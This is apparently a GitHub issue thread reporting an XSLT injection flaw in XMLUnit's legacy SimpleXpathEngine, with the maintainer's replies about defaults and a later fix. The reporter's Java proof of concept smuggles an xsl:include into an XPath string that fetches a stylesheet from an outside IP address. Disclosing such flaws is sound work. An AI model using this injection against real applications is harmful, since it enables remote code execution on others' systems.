xmlunit icon indicating copy to clipboard operation
xmlunit copied to clipboard

XMLUnit is vulnerable to XSLT injection.

Open c1gar opened this issue 1 year ago • 1 comments

In org/custommonkey/xmlunit/SimpleXpathEngine.java, there is no secure setting for XSLT and it is vulnerable to injection, potentially leading to remote code execution. POC `package com.example.xxe_test.controller;

import org.custommonkey.xmlunit.SimpleXpathEngine; import org.custommonkey.xmlunit.XMLUnit; import org.custommonkey.xmlunit.XpathEngine; import org.custommonkey.xmlunit.exceptions.XpathException; import org.junit.Assert; import org.w3c.dom.Document; import org.xml.sax.InputSource; import org.xml.sax.SAXException;

import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import java.io.IOException; import java.io.StringReader;

public class xmlunit2 {

public static void main(String[] args) throws XpathException, ParserConfigurationException, IOException, SAXException {
    String message = "The book title should match the expected pattern";
    String regex = "Harry.*"; // Example regex: Matches titles starting with "Harry"
    String xpath = "//bookstore/book[1]/title/text()\"/><xsl:include href=\"http://101.200.214.173:7777/1.xsl"; // Example XPath expression to retrieve the title of the first book
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document doc = builder.parse(new InputSource(new StringReader("<bookstore><book><title>Harry Potter</title></book></bookstore>"))); // Example XML content
    XpathEngine engine = XMLUnit.newXpathEngine();
    String value = new SimpleXpathEngine().evaluate(xpath, doc);
    System.out.println("value:"+value);
    Assert.assertTrue(message, value.matches(regex));
}

}` 55

c1gar avatar Jan 21 '24 08:01 c1gar

You are using the "old" org.custommonkey API that is not recommended to be used. In 2.6.0 I think I have changed the defaults to prevent this kind of attack, see https://github.com/xmlunit/user-guide/wiki/XSLT-Support#xxe-prevention and the default now at least prevents DTD loading (ss https://github.com/xmlunit/xmlunit/blob/main/xmlunit-core/src/main/java/org/xmlunit/util/TransformerFactoryConfigurer.java#L94 ) . There also is an option to prevent loading of external stylesheets as well.

I believe XMLUnit must provide a way to use DTDs and load external stylesheets for people who really need them and the defaults looked reasonably safe to me. Of course it is always possible to provide bigger warning signs.

The org.custimmonkey API is only there to be used by people who work on legacy code bases and can't migrate away from the XMLUnit 1.x APIs. Making any changes of defaults there would defeat the purpose of providing a drop-in replacement of XMLUnit 1.x. To be honest XMLUnit 1.x is not really maintained anymore and this report has just triggered me to say so officially.

Coming back to this report. Please consider the context. XMLUnit is most likely used to run unit test that use XML documents and XSLT stylesheets (if at all) written by the people running the tests. While it s possible people use XMLUnit for different purposes (very unlikely for 1.x) I would hope they will take security measures themselves which is possible using the XMLUnit 2.x API.

If you feel we should stress this more strongly in docs, I'll be happy to do so. I'd be reluctant to change the default settings.

bodewig avatar Jan 21 '24 10:01 bodewig

the defaults have changed with b81d48b for the legacy module as well.

bodewig avatar Apr 28 '24 13:04 bodewig